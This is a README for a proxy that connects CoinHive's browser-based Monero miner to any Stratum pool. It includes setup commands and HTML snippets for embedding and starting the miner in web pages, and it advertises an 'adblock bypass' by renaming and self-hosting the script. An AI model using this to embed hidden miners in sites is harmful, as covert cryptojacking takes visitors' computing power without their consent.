A proof of concept of web mining using CoinHive's JavaScript Mining library. The proxy acts like coin hive to connect to a mining pool. Should work with any monero pool based on the Stratum Mining Protocol. You can even set up your own pool.
Pros: no dev fee, adblock bypass, use any pool you like.
Docker:
$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ docker build -t coinhive-stratum-mining-proxy .
$ docker run -p 8892:8892 coinhive-stratum-mining-proxy <stratum tcp host> <stratum tcp port>
eg:
$ docker run -p 8892:8892 coinhive-stratum-mining-proxy xmr-eu1.nanopool.org 14444
Linux/Mac:
$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ pip install -v -r requirements.txt
$ python coinhive-stratum-mining-proxy.py <stratum tcp host> <stratum tcp port>
eg:
$ python coinhive-stratum-mining-proxy.py xmr-eu1.nanopool.org 14444
Dependencies:
- python
- pip
- openssl-dev
- gcc
- git
- Install and Run
coinhive-stratum-mining-proxy
- Load the Coinhive Miner
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
The javascript can be saved/renamed and loaded from your server, see adblock_bypass.html.
- Change the
CoinHive.CONFIG.WEBSOCKET_SHARDS
config variable:
<script>
CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://localhost:8892/proxy"]];
</script>
- Start Mining
<script>
var miner = new CoinHive.Anonymous('YOUR_MONERO_ADDRESS');
miner.start();
</script>
or
<script>
var miner = new CoinHive.User('YOUR_MONERO_ADDRESS', 'YOUR_WORKER_NAME');
miner.start();
</script>
the username will be used as the stratum worker name.
- Profit!
Setup and run coinhive-stratum-mining-proxy
with xmr-eu1.nanopool.org 14444
parameters and open http://localhost:8892 in your browser for live demo.
This project is not endorsed by or affiliated with coinhive.com in any way.
MIT